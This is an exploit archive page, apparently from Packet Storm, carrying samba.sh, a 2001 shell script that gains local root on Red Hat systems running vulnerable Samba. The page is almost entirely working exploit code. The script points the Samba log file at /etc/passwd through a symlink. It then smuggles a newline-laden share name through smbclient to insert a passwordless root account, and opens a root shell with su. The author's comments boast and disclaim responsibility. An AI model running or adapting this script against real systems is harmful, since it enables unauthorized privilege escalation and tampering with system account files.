what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

samba.sh

samba.sh
Posted Oct 17, 2001
Authored by Snyggast

Samba prior to v2.0.8 local root exploit. Tested against Red Hat 5.1 - 7.0.

tags | exploit, local, root
systems | linux, redhat
SHA-256 | 3559da9478ef6e2ad5bec74cb1fb9c968334a18bfaaedcff07c6f53c7ef83ec8

samba.sh

Change Mirror Download
#/bin/sh
#
# Samba <=2.0.7 xploit for RH 5.1-7.0
# by MostaraC(aka Snyggast) @2001, mail: yuggoboy@hotmail.com
# Tested on RH 7.0 with no updates
# Use it wisely and make the Net more secure
# Author is not responsible for any illegal usage of this script
#
# Knowledge is power, and power is knowledge.../by InformationHungry
# He starved to death coz he dossed own ISP ;)
# Latehours quick-shit for the needing ones ;)
# Next release will be a lynx-sploit, possibly remote
# C U @Defcon

echo "Samba <=2.0.7 xploit for RH 5.1-7.0"
echo " by Mostarac @2001"
echo

PROC=`/usr/bin/pstree |/bin/grep smbd`

CONF1="/etc/samba/smb.conf"
CONF2="/etc/smb.conf"
CONF3="/usr/local/etc/smb.conf"

echo "*** Checking for samba..."

if [ ! -z "$PROC" ]; then
echo " Samba is running. Excellent"
else
echo " Samba is NOT running. Exploiting system not possible"
echo " Exiting script...Goodbye"
exit 0
fi

echo "*** Checking possible configuration files..."

if [ -f "$CONF3" ]; then
CONF="$CONF3"
fi
if [ -f "$CONF2" ]; then
CONF="$CONF2"
fi
if [ -f "$CONF1" ]; then
CONF="$CONF1"
fi
if [ -z "$CONF" ]; then
echo " Didnt find smb.conf. Exploiting system not possible"
echo " Exiting script...Goodbye"
exit 0
else
echo " Config file exists at:" $CONF
fi

echo "*** Checking the log file for accurate defitinion..."
LOG1=`/bin/grep -i "log file =" /etc/samba/smb.conf`
LOG2=`/bin/grep -i "log file=" /etc/samba/smb.conf`


if [ ! -z "$LOG1" ]; then
LOG="$LOG1"
fi
if [ ! -z "$LOG2" ]; then
LOG="$LOG2"
fi
if [ ! -z "$LOG" ]; then
echo " Logfile definition found in smb.conf"
else
echo " No logfile defitnition."
echo " Exiting script...Goodbye"
exit 0
fi

echo "*** Exploiting the system..."
rm -rf /tmp/x.log
ln -s /etc/passwd /tmp/x.log
smbclient //localhost/"`perl -e '{print "\n\nrewt::0:0::/:/bin/sh\n"}'`" -n
../../../tmp/x -N
echo " Don't forget to clean /etc/passwd!"
echo " Resistance is futile, you all will be assimilated"
echo " Voila...Rootshell"
su rewt
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close